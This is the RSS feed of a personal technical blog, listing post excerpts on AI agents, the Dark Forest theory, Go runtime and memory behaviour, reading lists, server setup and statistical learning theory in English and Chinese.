<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Changkun's Blog</title><link>https://changkun.de/blog/posts/</link><description>Recent content in Posts on Changkun's Blog</description><generator>Hugo -- gohugo.io</generator><language>en-US</language><lastBuildDate>Sun, 31 May 2026 10:00:00 +0100</lastBuildDate><atom:link href="https://changkun.de/blog/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Why High-Output Systems Are Often the First to Stop Growing</title><link>https://changkun.de/blog/posts/more-is-not-new/</link><pubDate>Sun, 31 May 2026 10:00:00 +0100</pubDate><guid>https://changkun.de/blog/posts/more-is-not-new/</guid><description>On instances, primitives, and the difference between novelty that compounds and novelty that merely accumulates.
&amp;ldquo;The limits of my language mean the limits of my world.&amp;rdquo; &amp;ndash; Wittgenstein, Tractatus 5.6
At first it looked like progress.
For one week, an AI Agent pipeline kept shipping. Commits arrived roughly every hour. Small fixes landed, minor improvements accumulated, the activity graph looked alive. Only one thing was missing: the product itself did not become larger 1.</description></item><item><title>Dark Forest Theory: A Formal Derivation</title><link>https://changkun.de/blog/posts/dark-forest-theory/</link><pubDate>Sat, 04 Apr 2026 00:00:00 +0100</pubDate><guid>https://changkun.de/blog/posts/dark-forest-theory/</guid><description>0. Introduction The &amp;ldquo;Dark Forest Theory&amp;rdquo; proposed by Liu Cixin in the Three-Body Problem series is a speculative theory about interaction strategies among cosmic civilizations. This article attempts to provide a rigorous formal derivation of the theory using tools from game theory and decision theory, starting from the axioms given in the novel.
The core argument proceeds in three steps: first, we prove that the two original axioms from the novel are insufficient on their own to derive the Dark Forest; then we supplement the necessary structural conditions and construct an incomplete information game model; finally, we derive sufficient conditions for the Dark Forest as a risk-dominant equilibrium and discuss the limitations of this conclusion.</description></item><item><title>Agents (or Humans) in Goal-Directed and Goalless Environments: On Pipelines, Priors, and the Rhythm Between Exploration and Exploitation</title><link>https://changkun.de/blog/posts/goalless-agents/</link><pubDate>Fri, 20 Mar 2026 10:00:00 +0100</pubDate><guid>https://changkun.de/blog/posts/goalless-agents/</guid><description>&amp;ldquo;It is not knowledge, but the act of learning, not possession but the act of getting there, which grants the greatest enjoyment.&amp;rdquo; &amp;ndash; Gauss (letter to Bolyai, 1808)
Give an AI Agent a clean computer, set no goals, and let it decide what to do. What do you think it would do? I assumed the answer would be random. It wasn&amp;rsquo;t. I ran this experiment many times, restarting from a fresh environment each time, and Claude always did the same thing: Conway&amp;rsquo;s Game of Life, Codex always did the same thing: a To-Do App.</description></item><item><title>At the Boundary of Self-Reference: From Stable Structures in Artificial Intelligence to the Self as a Recursive Model in an Open Dissipative System</title><link>https://changkun.de/blog/posts/2026-self-reference-boundary/</link><pubDate>Tue, 10 Mar 2026 22:43:00 +0100</pubDate><guid>https://changkun.de/blog/posts/2026-self-reference-boundary/</guid><description>This discussion did not begin with philosophy of consciousness. Its starting point was much lower, much more concrete, almost just an engineering intuition: any system, in theory, possesses enormous degrees of freedom, yet the number of structures that can actually run stably over time is very small. This is true of software architecture, organizational architecture, and artificial intelligence systems alike. People often begin talking about AI in terms of model capability, compute scaling, tool use, and automation.</description></item><item><title>2023 Reading List</title><link>https://changkun.de/blog/posts/2023-reading/</link><pubDate>Sun, 31 Dec 2023 14:01:19 +0100</pubDate><guid>https://changkun.de/blog/posts/2023-reading/</guid><description>A great deal happened in 2023, and my reading correspondingly decreased compared to previous years. Apart from philosophy, most of the other books I picked up were not finished cover to cover — though that is no reflection on their worth.
Social Sciences and Philosophy As in previous years, whenever I find myself with a free moment I almost inevitably reach for something philosophical. Early in the year, my doctoral supervisor and I had a brief discussion around the question &amp;ldquo;who am I?</description></item><item><title>2022 Reading List</title><link>https://changkun.de/blog/posts/2022-reading/</link><pubDate>Fri, 30 Dec 2022 18:16:53 +0100</pubDate><guid>https://changkun.de/blog/posts/2022-reading/</guid><description>Another year has passed in the blink of an eye. Shuttling between work and life, I have subjectively felt that my understanding of the world has shifted in various ways this year. That shift owes a great deal to the books I read over the course of the year. Compared to last year, I gradually read a great many books in psychology and philosophy. The initial motivation was the same as in previous years — to find enough inspiration for my own research — but as time went on I found myself increasingly captivated by philosophical argumentation.</description></item><item><title>2021 Reading List</title><link>https://changkun.de/blog/posts/2021-reading/</link><pubDate>Sun, 20 Mar 2022 12:32:54 +0100</pubDate><guid>https://changkun.de/blog/posts/2021-reading/</guid><description>I finally found time to compile my 2021 reading list. This year my reading shifted increasingly toward psychology, economics, and traditional statistics — partly useful for my doctoral research, and partly genuinely illuminating for everyday life.
Humanities Working in Public is a book written by a GitHub employee about the production and maintenance of open source software. I first heard of it from Vue&amp;rsquo;s author Evan You. Having been drawn to open source software and actively involved in the open source community for years, I immediately bought and read it.</description></item><item><title>Are PSS/USS and RSS Actually the Same Thing?</title><link>https://changkun.de/blog/posts/pss-uss-rss/</link><pubDate>Sat, 23 Jan 2021 22:37:34 +0100</pubDate><guid>https://changkun.de/blog/posts/pss-uss-rss/</guid><description>Since Go 1.12, there have been a steady stream of false-alarm monitoring incidents. The root cause is that starting with Go 1.12, Go changed the memory reclamation strategy used in madvise system calls from MADV_DONTNEED to MADV_FREE. Based on available documentation, RSS — the most commonly used memory monitoring metric — does not reflect the portion of memory that has been released by the process but not yet reclaimed by the OS.</description></item><item><title>Performance Differences from Page Faults vs. Prefetching</title><link>https://changkun.de/blog/posts/page-fault-vs-prefetch/</link><pubDate>Mon, 18 Jan 2021 10:14:43 +0100</pubDate><guid>https://changkun.de/blog/posts/page-fault-vs-prefetch/</guid><description>Just how large can the performance difference caused by page faults be? Let&amp;rsquo;s write a benchmark to find out.
Simulating Page Fault Behavior To build this benchmark, we need to understand two low-level Linux syscalls for memory management: mmap and madvise. For memory allocation, mmap can be called with the anonymous and private mapping flags MAP_ANON and MAP_PRIVATE. Memory allocated this way is in a page-fault state — any access to the allocated region will trigger a page fault.</description></item><item><title>2020 Year-End Review</title><link>https://changkun.de/blog/posts/2020-summary/</link><pubDate>Sun, 03 Jan 2021 09:50:13 +0100</pubDate><guid>https://changkun.de/blog/posts/2020-summary/</guid><description>2020 is finally, completely over. As I have done every year since undergraduate, I open my blog and sit down to write this annual reflection. So much seemed to happen this year — I was still in the office working overtime on the very last day of it. If I had to name the single greatest takeaway from 2020, I would distill it to two words: transformation.
At the doctoral stage, one can no longer simply expand the breadth of one&amp;rsquo;s skills the way you could as an undergraduate or master&amp;rsquo;s student.</description></item><item><title>Migration with Zero Downtime</title><link>https://changkun.de/blog/posts/zero-downtime-migration/</link><pubDate>Mon, 28 Dec 2020 07:41:45 +0100</pubDate><guid>https://changkun.de/blog/posts/zero-downtime-migration/</guid><description>In this post I gave an overview of the restructured architecture of changkun.de, but I didn&amp;rsquo;t go into detail about how the migration itself was carried out — whether there was any downtime, and so on. This time, let&amp;rsquo;s take a closer look at the migration process.
Migration Checklist First, a number of services were running on the changkun.de server, including frequently-used ones like redir and midgard, as shown in the diagram:</description></item><item><title>2020 Reading List</title><link>https://changkun.de/blog/posts/2020-reading/</link><pubDate>Fri, 25 Dec 2020 16:06:45 +0100</pubDate><guid>https://changkun.de/blog/posts/2020-reading/</guid><description>It&amp;rsquo;s the end of the year again — time to compile this year&amp;rsquo;s reading list. 2020 was a truly extraordinary year, and I didn&amp;rsquo;t read all that many books. Most were related to my field, and several were rereads from undergrad. Those classics always yield something new on each reading.
Humanities This year&amp;rsquo;s humanities reading centered on understanding the history of computing in the last century — software history covering UNIX, Linux, and the free software movement, and hardware history covering the rise and fall of microcomputers.</description></item><item><title>The All in Go Stack</title><link>https://changkun.de/blog/posts/all-in-go/</link><pubDate>Thu, 24 Dec 2020 13:36:14 +0000</pubDate><guid>https://changkun.de/blog/posts/all-in-go/</guid><description>Since graduating from university I have had very little time to tinker with my own website. Most of the time I would ssh into the server, throw together some service, and then leave it to fend for itself — even if a service went down I did not pay much attention. After all, it was something I ran for my own use, and as far as visitors were concerned: ABSOLUTELY NO WARRANTY.</description></item><item><title>Pointers Might Not Be Ideal for Parameters</title><link>https://changkun.de/blog/posts/pointers-might-not-be-ideal-for-parameters/</link><pubDate>Thu, 05 Nov 2020 08:59:17 +0000</pubDate><guid>https://changkun.de/blog/posts/pointers-might-not-be-ideal-for-parameters/</guid><description>We are aware that using pointers for passing parameters can avoid data copy, which will benefit the performance. Nevertheless, there are always some edge cases we might need concern.
Let&amp;rsquo;s take this as an example:
1 2 3 4 5 6 7 8 9 10 11 12 13 // vec.go type vec struct { x, y, z, w float64 } func (v vec) addv(u vec) vec { return vec{v.x + u.</description></item><item><title>Eliminating A Source of Measurement Errors in Benchmarks</title><link>https://changkun.de/blog/posts/eliminating-a-source-of-measurement-errors-in-benchmarks/</link><pubDate>Wed, 30 Sep 2020 11:01:26 +0000</pubDate><guid>https://changkun.de/blog/posts/eliminating-a-source-of-measurement-errors-in-benchmarks/</guid><description>About six months ago, I did a presentation that talks about how to conduct reliable benchmarking in Go. Recently, I submitted an issue #41641 to the Go project, which is also a subtle problem that you might need to address in some cases.
The issue is all about the following code snippet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 func BenchmarkAtomic(b *testing.</description></item><item><title>Setup Wordpress in 10 Minutes</title><link>https://changkun.de/blog/posts/setup-wordpress-in-10-minutes/</link><pubDate>Sun, 29 Mar 2020 18:36:02 +0000</pubDate><guid>https://changkun.de/blog/posts/setup-wordpress-in-10-minutes/</guid><description>Last week, my colleague asked me to set up a Wordpress server, and I remember how painful to setup it many years ago. It requires MySQL and PHP. Therefore, it may introduce many security leaks. My website at the moment still can receive Wordpress attack.
Today, I discovered a rapid solution to set up a Wordpress server using Docker, and it also solves the problem with Let&amp;rsquo;s Encrypt.
Let&amp;rsquo;s check it out.</description></item><item><title>我为什么不再写博客了？</title><link>https://changkun.de/blog/posts/why-i-stopped-blogging/</link><pubDate>Sun, 08 Mar 2020 21:56:31 +0000</pubDate><guid>https://changkun.de/blog/posts/why-i-stopped-blogging/</guid><description>&lt;p>这篇文章也是一篇博客文章，读者可能会质疑：这不是与这篇博客的主题相矛盾吗？
我目前觉得还没有，但可以预见的是，这个博客在未来的一年以内不会更新任何内容。
我的博客的更新频率越来越低，我为什么不再写博客了呢？或者严谨的说，我为什么不再进行频繁的博客写作了呢？&lt;/p></description></item><item><title>2019 年终总结</title><link>https://changkun.de/blog/posts/2019-summary/</link><pubDate>Sat, 01 Feb 2020 01:14:55 +0000</pubDate><guid>https://changkun.de/blog/posts/2019-summary/</guid><description>&lt;p>当周围的同龄人都已工作的工作、回国的回国、结婚的结婚以及生子的生子，
迈入人生的下一个重要的阶段时，当回顾我的 2019 时，似乎我已经从早年那个目标明确、
总是走在他人前面的那个 &amp;ldquo;佼佼者&amp;rdquo;，逐渐沦为了一个不知前路在何方、似乎已经落人一步的 &amp;ldquo;平庸&amp;rdquo;
之人。相比往年，我的 2019 似乎过的格外的 &amp;ldquo;精彩&amp;rdquo; 却又异常的 &amp;ldquo;茫然&amp;rdquo;。&lt;/p></description></item><item><title>2018-2019 读书清单</title><link>https://changkun.de/blog/posts/2018-2019-reading/</link><pubDate>Wed, 22 Jan 2020 19:09:57 +0000</pubDate><guid>https://changkun.de/blog/posts/2018-2019-reading/</guid><description>&lt;p>2018 年没有更新书单，原因有很多。现在与 2019 年一并放出，这两年在做毕业论文和做科研两方面影响下，这两年读的书都偏技术和理论，读得更多的反而是论文（论文清单我们以后有机会再表）。人文类的闲书的数量也大大减少，所以整体读书的时间也大大延长，2018 年几乎没读完几本书，这也是当时没有更新书单的主要原因之一。&lt;/p>
&lt;p>这个清单里还有好几本读过的与自己博士研究方向相关的书籍没有列出，也算是延续了以前读书清单的传统：专业相关的书籍不在此列表中。&lt;/p></description></item><item><title>Ten years of blogging</title><link>https://changkun.de/blog/posts/ten-years-of-blogging/</link><pubDate>Sun, 16 Jun 2019 00:37:37 +0000</pubDate><guid>https://changkun.de/blog/posts/ten-years-of-blogging/</guid><description>写博客似乎已经十年了，这十年间我没有对博客进行过任何有目的性的宣传， 纯粹的 &amp;ldquo;Just for fun&amp;rdquo;。而两天前，我收到了迄今为止最大的一笔匿名赞助。
特别致谢。</description></item><item><title>Rethinking the Reflections on Communications and Trusts</title><link>https://changkun.de/blog/posts/rethinking-the-reflections-on-communications-and-trusts/</link><pubDate>Wed, 15 May 2019 13:02:49 +0000</pubDate><guid>https://changkun.de/blog/posts/rethinking-the-reflections-on-communications-and-trusts/</guid><description>&lt;p>沟通和信任原本是人与人之间打交道的两个基本因素，但这两个因素在跨文化的背景下显得越来越不经如人意。
从今年三月份开始，我步入了我的博士生涯，在这随后的两个月里我开始重新思考沟通与信任这两个主题。&lt;/p></description></item><item><title>2018 年终总结</title><link>https://changkun.de/blog/posts/2018-summary/</link><pubDate>Thu, 27 Dec 2018 16:29:47 +0000</pubDate><guid>https://changkun.de/blog/posts/2018-summary/</guid><description>&lt;p>工作二字似乎就足够概括我这一整年的经历，2018 对于我来说，nothing happens to me。&lt;/p></description></item><item><title>Go source code study is open source</title><link>https://changkun.de/blog/posts/go-source-code-study-is-open-source/</link><pubDate>Mon, 01 Oct 2018 14:11:30 +0000</pubDate><guid>https://changkun.de/blog/posts/go-source-code-study-is-open-source/</guid><description>Since the middle of last month, I started to read the source code of programming language Go for better understanding its runtime and more.
The entire series are based on Go 1.11 at the moment, and it will continuously getting support for at least three major release version.
Now, the entire article is open source at GitHub: https://github.com/changkun/go-under-the-hood.
You can submit an issue or pull request to contribute if you were interested in this study.</description></item><item><title>Go source study: unsafe Pattern</title><link>https://changkun.de/blog/posts/go-source-unsafe-pattern/</link><pubDate>Thu, 27 Sep 2018 10:55:18 +0000</pubDate><guid>https://changkun.de/blog/posts/go-source-unsafe-pattern/</guid><description>&lt;h1 id="go-源码研究unsafe-范式">Go 源码研究：&lt;code>unsafe&lt;/code> 范式&lt;/h1>
&lt;p>&lt;code>unsafe&lt;/code> 包该包会绕过所有的 Go 类型安全检查，几乎是 Cgo 的灵魂，也是支撑 Go 运行时、&lt;code>reflect&lt;/code>、系统调用等机制的核心。&lt;/p></description></item><item><title>Go source study: sync.Pool</title><link>https://changkun.de/blog/posts/go-source-sync-pool/</link><pubDate>Wed, 26 Sep 2018 20:19:19 +0000</pubDate><guid>https://changkun.de/blog/posts/go-source-sync-pool/</guid><description>&lt;h1 id="go-源码研究syncpool">Go 源码研究：sync.Pool&lt;/h1>
&lt;p>sync.Pool 是一个临时对象池。一句话来概括，sync.Pool 管理了一组临时对象，当需要时从池中获取，使用完毕后从再放回池中，以供他人使用。&lt;/p></description></item><item><title>Go runtime programming</title><link>https://changkun.de/blog/posts/go-runtime-programming/</link><pubDate>Sun, 23 Sep 2018 00:25:48 +0000</pubDate><guid>https://changkun.de/blog/posts/go-runtime-programming/</guid><description>&lt;h1 id="go-运行时编程">Go 运行时编程&lt;/h1>
&lt;p>本文可能会过时。 它旨在阐明不同于常规 Go 编程的 Go 运行时编程，并侧重于一般概念而非特定接口的详细信息。&lt;/p></description></item><item><title>A Million WebSocket and Go</title><link>https://changkun.de/blog/posts/a-million-websocket-and-go/</link><pubDate>Sat, 28 Jul 2018 16:47:09 +0000</pubDate><guid>https://changkun.de/blog/posts/a-million-websocket-and-go/</guid><description>&lt;p>本文介绍了如何使用 Go 语言开发高负载的 WebSocket 服务。如果你对 WebSocket 非常熟悉，但并不了解 Go 语言，我希望你仍然能对此文所介绍的一些优化技术感兴趣。&lt;/p></description></item><item><title>Designing Asynchronous RESTful APIs</title><link>https://changkun.de/blog/posts/designing-asynchronous-restful-apis/</link><pubDate>Sun, 01 Jul 2018 19:34:30 +0000</pubDate><guid>https://changkun.de/blog/posts/designing-asynchronous-restful-apis/</guid><description>&lt;p>RESTful API 已经不是什么新奇玩意儿了。HTTP 的无状态性让我们在处理交互式 CS 应用中不得不使用诸如 Session、Cookie 等技术。那么我们的问题产生于：如果客户端发出的请求的在服务端需要较长的时间处理，我们应该如何设计我们的 RESTful API？这次就来聊一聊异步 RESTful API 的设计。&lt;/p></description></item><item><title>分布式杂谈01：CAP 理论的误解</title><link>https://changkun.de/blog/posts/a-common-misunderstanding-of-the-cap-theory/</link><pubDate>Sun, 24 Jun 2018 22:54:29 +0000</pubDate><guid>https://changkun.de/blog/posts/a-common-misunderstanding-of-the-cap-theory/</guid><description>&lt;p>最近在实践分布式和微服务系统，总算是能够把课本上学到的知识学以致用了。于是打算开一个系列来随机聊一聊分布式系统的一些知识。&lt;/p></description></item><item><title>Issues of Human-Bot Interaction</title><link>https://changkun.de/blog/posts/issues-of-human-bot-interaction/</link><pubDate>Sat, 31 Mar 2018 09:54:58 +0000</pubDate><guid>https://changkun.de/blog/posts/issues-of-human-bot-interaction/</guid><description>&lt;p>Here lists some issues when I was exploring Human-bot interaction.&lt;/p></description></item><item><title>压缩法与深度网络的泛化性</title><link>https://changkun.de/blog/posts/compression-and-dnn-generalization/</link><pubDate>Mon, 26 Mar 2018 20:36:13 +0000</pubDate><guid>https://changkun.de/blog/posts/compression-and-dnn-generalization/</guid><description>&lt;blockquote>
&lt;p>本文译自：http://www.offconvex.org/2018/02/17/generalization2/
译者：&lt;a href="https://changkun.de">欧长坤&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>本文是关于&lt;a href="https://arxiv.org/abs/1802.05296">我最新的论文&lt;/a>并提供了一些之于我&lt;a href="https://changkun.de/blog/archives/2017/12/240/">之前一篇文章&lt;/a>新的关于「泛化谜题」的观点。&lt;/p>
&lt;p>这篇新论文引入了一个基于压缩的基本框架来证明泛化界。并表明深度网络的是高度噪音稳定并可进行压缩。这个框架同时还未去年的一些论文提供了简单的证据（下面会讨论）。&lt;/p>
&lt;p>回忆关于泛化理论的&lt;strong>基本定理&lt;/strong>：具有 $m$ 个样本的训练集则泛化误差（定义为训练数据和测试数据之差）是 $\sqrt{\frac{N}{m}}$ 的高阶项，其中 $N$ 是网络的有效参数（或复杂度度量）；它最多可能是实际参数数，但实际上可能会少得多（为了便于说明，这篇文章将忽略 $\log N$等这些在计算中产生的干扰因素）。泛化之谜在于：当网络参数量高达百万级时即便当 $m=50K$，网络同样具有相当低的泛化误差（比如 CIFAR10）。反过来想，从某种意义上来说这似乎在告诉我们，网络的实际的参数量是远低于 $50K$ 的。&lt;/p>
&lt;p>这里N是网络的有效参数（或复杂性度量）的数量; 它至多是可训练参数的实际数量，但可能会少得多。 （为了便于说明，这篇文章将忽略\ logN等这些也出现在这些计算中的讨厌因素）。神秘的是，即使当m = 50K时，具有数百万参数的网络也具有低泛化误差（如在CIFAR10数据集中） ，这表明真实参数的数量实际上远低于50K。&lt;/p>
&lt;p>&lt;a href="https://arxiv.org/abs/1706.08498">Bartlett et al. NIPS'17&lt;/a> 与 &lt;a href="https://openreview.net/forum?id=Skz_WfbCZ">Neyshabur et al. ICLR'18&lt;/a> 尝试类似于 PAC-Bayes 和 Margin 的有趣想法对复杂度度量进行量化（同时也影响了我们的论文）。但终究这种量化是不切实际的——量级比实际参数量还要多。相比之下，我们的新估计值要好几个数量级，并且更加有意义。下面的条形统计图进行了说明（所有的 bound 都忽略了干扰因素，可训练参数的数量仅用于表示比例）：&lt;/p></description></item><item><title>Go in 1 Hour</title><link>https://changkun.de/blog/posts/go-in-1-hour/</link><pubDate>Wed, 21 Mar 2018 19:18:45 +0000</pubDate><guid>https://changkun.de/blog/posts/go-in-1-hour/</guid><description>&lt;p>几个初步的 Go 语言特点：&lt;/p>
&lt;ul>
&lt;li>类型安全&lt;/li>
&lt;li>简洁的面向对象&lt;/li>
&lt;li>语言级并发&lt;/li>
&lt;li>垃圾回收&lt;/li>
&lt;/ul>
&lt;p>一共 25 个关键字：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-go" data-lang="go">&lt;span class="kn">package&lt;/span> &lt;span class="nx">包引入&lt;/span>
&lt;span class="kn">import&lt;/span> &lt;span class="nx">包引入&lt;/span>
&lt;span class="kd">const&lt;/span> &lt;span class="nx">常量&lt;/span>
&lt;span class="kd">var&lt;/span> &lt;span class="nx">变量&lt;/span>
&lt;span class="kd">type&lt;/span> &lt;span class="nx">类型&lt;/span>
&lt;span class="k">goto&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">else&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">break&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">continue&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">default&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">switch&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">case&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">fallthrough&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="nx">流程控制&lt;/span>
&lt;span class="kd">func&lt;/span> &lt;span class="nx">函数相关&lt;/span>
&lt;span class="k">return&lt;/span> &lt;span class="nx">函数相关&lt;/span>
&lt;span class="k">defer&lt;/span> &lt;span class="nx">函数相关&lt;/span>
&lt;span class="kd">struct&lt;/span> &lt;span class="nx">面向对象&lt;/span>
&lt;span class="kd">interface&lt;/span> &lt;span class="nx">面向对象&lt;/span>
&lt;span class="kd">map&lt;/span> &lt;span class="nx">数据结构&lt;/span>
&lt;span class="k">range&lt;/span> &lt;span class="nx">数据结构&lt;/span>
&lt;span class="k">go&lt;/span> &lt;span class="nx">并发相关&lt;/span>
&lt;span class="kd">chan&lt;/span> &lt;span class="nx">并发相关&lt;/span>
&lt;span class="k">select&lt;/span> &lt;span class="nx">并发相关&lt;/span>
&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>UMSLT04: The Past and Present of SGD</title><link>https://changkun.de/blog/posts/the-past-and-present-of-sgd/</link><pubDate>Thu, 08 Mar 2018 20:28:01 +0000</pubDate><guid>https://changkun.de/blog/posts/the-past-and-present-of-sgd/</guid><description>我们终于在上一篇文章中形式化的定义了学习问题，并给出了能够统一描述回归问题、最小二乘法、最大似然估计等方法的一般形式：ERM 原则。实践过 SGD 的我们可能非常熟悉，在 SGD 族的优化下，我们并非一次性使用全部的观测样本，而是使用一个小批量的数据样本甚至一个单一的数据样本来计算网络的损失函数，再利用反向传播和梯度下降来进行非凸优化，实际上这是一种随机逼近的方法，并早在上个世纪五十年代就已经被 Robbins 和 Monroe 提出了。
随机逼近原则 随机逼近原则并不是一种经验风险最小化的归纳原则。这一原则在独立同分布数据 $z_1, …, z_m$ 对参数 $\alpha$ 最小化泛函 $R(\alpha) = \int{Q(z, \alpha)dF(z)}$。其中参数 $\alpha$ 采用这样的迭代过程 $\alpha_{k+1} = \alpha_{k} - \gamma_k \text{grad}{\alpha}{Q(z_k, \alpha_k)}, k=1,2,…,m$。迭代的步数等于观测样本的数目。并且可以证明，**梯度 $\text{grad}{\alpha}{Q(z_k, \alpha_k)}$ 和 $\gamma_k$ 的取值在很一般的条件下，这种方法至少对于线性模型是一致的**[Robbins et al 1951]。
根据 Novikoff 关于感知器的收敛定理 [Novikoff, 1962]，Tsypkin 和 Aizerman 在讨论了学习过程一致性的问题，研究了能够保证学习过程一致性的两种一般性归纳原则，分别是随机逼近原则和经验风险最小化原则。这两种原则都被应用到经验数据并使风险泛函最小的一般问题上，最终发展处了两种不同的一般性学习理论：
对随机逼近归纳推理的一般性渐进学习理论 [Aizerman et al 1965], [Tsypkin, 1971], [Tsypkin, 1973]； 对 ERM 归纳推理的一般性非渐进模式识别理论，并且推广到任意基于经验数据的风险最小化问题 [Vapnik et al 1968], [Vapnik et al 1971], [Vapnik et al 1974], [Vapnik et al 1979]。 我们很容易看到，上面的的迭代步数等于观测样本步数似乎显得对数据的过度浪费，一个很自然的推广也就是现在我们非常常见的分多个时间段、多次使用训练数据。但进而产生的问题就是：什么时候必须停止训练过程？两个可能的条件：</description></item><item><title>UMSLT03: A Gentle Start of Learning Theory</title><link>https://changkun.de/blog/posts/a-gentle-start-of-learning-theory/</link><pubDate>Sun, 04 Mar 2018 19:16:03 +0000</pubDate><guid>https://changkun.de/blog/posts/a-gentle-start-of-learning-theory/</guid><description>&lt;p>在前面两篇文章中，我们快速的聊完了深度学习的相关历史知识，从第一个学习机器感知器的诞生、到反向传播的首次再发明、理论派和实践派对 ERM 原则的不同看法以及为学习理论能够真正学到智能从而解决 ill-posed 问题的正则化手段。在理论学派看来，自然语言性质的描述永远是不够的，我们需要发展一套理论来严密的从最一般性的原理出发，彻彻底底的解决机器学习的基础，我们常说的学习到底是什么？我们提过很多次的 ERM 到底有什么特殊之处能在起基础之上产生两个方向完全不同的学派？这篇文章就正儿八经的从符号定义出发，对「学习理论」进行形式化。&lt;/p></description></item><item><title>UMSLT02: A Breif History of Neural Networks</title><link>https://changkun.de/blog/posts/a-breif-history-of-neural-networks/</link><pubDate>Wed, 28 Feb 2018 18:45:36 +0000</pubDate><guid>https://changkun.de/blog/posts/a-breif-history-of-neural-networks/</guid><description>&lt;p>上一篇文章中我们从第一个学习模型感知器的提出聊到了人们在研究学习机器的过程中发现因果问题的反演是一个 ill-posed 的问题，正则化方法在解决 ill-posed 问题的过程中扮演了重要的角色。ERM 作为应用学派归纳推理原理的一种不证自明的方法，这篇文章我们就这个话题继续聊下去。&lt;/p>
&lt;p>值得一提的是，从一个范围很宽的密度集合中估计密度函数就是一个 ill-posed 的问题。早期的统计学发展了一种叫做参数统计的方法，其最大似然估计，作为一种不证自明的方法来对有限个参数决定的密度集合进行估计。但如果我们连数据的分布假设都不敢假设，换句话说——对一种未知（参数未知）的分布进行估计，最大似然估计就无能为力了。这时候人们发展了很多非参数方法，从而建立了现代庞大且意义非凡的非参数统计学。值得一提的是，这些方法的基本假设是使用大量样本来估计密度，他们可以克服 ill-posed 的问题。&lt;/p></description></item><item><title>UMSLT01: A Breif History of Regularization</title><link>https://changkun.de/blog/posts/a-breif-history-of-regularization/</link><pubDate>Tue, 27 Feb 2018 13:39:41 +0000</pubDate><guid>https://changkun.de/blog/posts/a-breif-history-of-regularization/</guid><description>&lt;h2 id="前言">前言&lt;/h2>
&lt;p>ICLR 2017 的 Best Paper [Zhang et al. 2017] 的作者张驰远做出了相当强的批判，指出机器学习中泛化理论并不能一致的迁移到深度学习中。论文首先通过 Randomization Test 过强的 empirical claim 认为深度学习的模型之所以能够起作用是因为其粗暴的记住了全部的样本，并非真正达到了泛化。但这一结论事实上犯了推理的逻辑错误 [Kawaguchi et al. 2017]。&lt;/p>
&lt;p>然而，论文中关于正则化理论的评注「explicit regularization is unneccesary」和「SGD has implicit regularization property」却似乎显得很有分量。确实，我们在实际的调参过程中应该有注意到我们常说的「overfitting」现象并不总会在深度学习模型中表现，我们经常观察到 generalization gap 随着训练时间的增加，会短暂的上升并进而继续降低或者保持不变，并不符合我们理论上对 overfitting 的理解。就这一点问题，我围绕着 overfitting 的定义以及 regularization 提出的始末进行了相关研究，发现机器学习理论基础并没有想象中的那么简单。&lt;/p>
&lt;p>于是，我准备新开一个系列，来整理我阅读相关论文的心得以及个人思考。从统计学的基本原理出发，理解统计学习理论的本质。这个系列的名字叫做《理解现代统计学习理论（Understanding Modern Statistical Learning Theory）》，为了方便起见，我们缩写为 UMSLT。&lt;/p>
&lt;p>阅读本系列要求读者具有较高水平的机器学习实践经验，同时对形式化数学理论有较强功底，例如对 Banach 空间观点下的概率理论有相当了解，对参数统计学相关知识非常熟悉，对其他通用领域的数学知识也有一定程度的了解。&lt;/p>
